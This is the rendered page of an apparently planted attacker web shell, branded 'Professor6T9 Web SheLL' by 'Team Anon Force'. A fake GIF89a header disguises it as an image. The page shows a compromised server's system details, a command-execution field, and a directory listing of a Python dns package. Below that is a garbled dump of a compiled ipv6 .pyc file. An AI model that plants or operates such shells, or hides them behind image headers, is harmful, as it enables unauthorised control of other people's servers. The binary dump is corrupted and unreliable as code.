GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
dns
/
__pycache__
[ HOME ]
Exec
Submit
ipv6.cpython-310.pyc
o x7�_� � @ sn d Z ddlZddlZddlZddlZe�d�Zdd� Ze�d�Z e�d�Z e�d�Zdd d�ZdZ d d� ZdS )zIPv6 helper functions.� Nz 0+([0-9a-f]+)c C s� t | �dkr td��t�| �}g }d}t |�}||k r@|||d � �� }t�|�}|dur3|�d�}|�|� |d7 }||k sd}d}d} d} t d �D ]!}|| d krg| rf|}|| }||krd| }|}d} qL| sm|} d} qL| r~d }|| }||kr~| }|}|dkr�|dkr�|dks�|d kr�|d dkr�|dkr�d} nd} | t j�| dd� � }|S d� |d|� �d d� ||| d� � }|S d� |�}|S )z�Convert an IPv6 address in binary form to text form. *address*, a ``bytes``, the IPv6 address in binary form. Raises ``ValueError`` if the address isn't 16 bytes long. Returns a ``str``. � z IPv6 addresses are 16 bytes longr � N� ���F� �0T� � Zffffz::z::ffff:� �:)�len� ValueError�binasciiZhexlify�decode� _leading_zero�match�group�append�range�dns�ipv4� inet_ntoa�join)�address�hex�chunks�i�l�chunk�mZ best_startZbest_len�startZ last_was_zero�endZcurrent_len�prefix� r# �*/usr/lib/python3/dist-packages/dns/ipv6.pyr sr � ���� ��� �r s (.*):(\d+\.\d+\.\d+\.\d+)$s ::.*s .*::$Fc C s$ t | t�s | �� } |r%| �d�}t|�}|dkr|d } n|dkr%tjj�| dkr-tjj�| �d�r;| �d�s;tjj�| � d�rI| � d�sItjj�| dkrOd} t �| �}|durytj� |�d��}d �|�d ��� |d |d |d |d ��� } t�| �}|dur�| d d� } nt�| �}|dur�| dd� } | �d�}t|�}|d kr�tjj�d}g }|D ]=} | dkr�|r�tjj�d}tdd | d �D ]} |�d� q�q�t| �}|dkr�tjj�|dkr�dd| | } |�| � q�|d k r�|s�tjj�d�|�} zt�| �W S tjtf�y tjj�w )a Convert an IPv6 address in text form to binary form. *text*, a ``str``, the IPv6 address in textual form. *ignore_scope*, a ``bool``. If ``True``, a scope will be ignored. If ``False``, the default, it is an error for a scope to be present. Returns a ``bytes``. � %� r � � :s ::s 0::Nz{}:{:02x}{:02x}:{:02x}{:02x}r � r r FTs 0000r � 0)� isinstance�bytes�encode�splitr r Z exception�SyntaxError�endswith� startswith� _v4_endingr r � inet_atonr �formatr �_colon_colon_start�_colon_colon_endr r r r Z unhexlify�Error� TypeError)�textZignore_scope�partsr r �br Z seen_emptyZ canonical�c�_Zlcr# r# r$ r3 c sx �� � �r3 s ��c C s | � t�S )z�Is the specified address a mapped IPv4 address? *address*, a ``bytes`` is an IPv6 address in binary form. Returns a ``bool``. )r1 �_mapped_prefix)r r# r# r$ � is_mapped� s r? )F)�__doc__�rer Z dns.exceptionr Zdns.ipv4�compiler r r2 r5 r6 r3 r>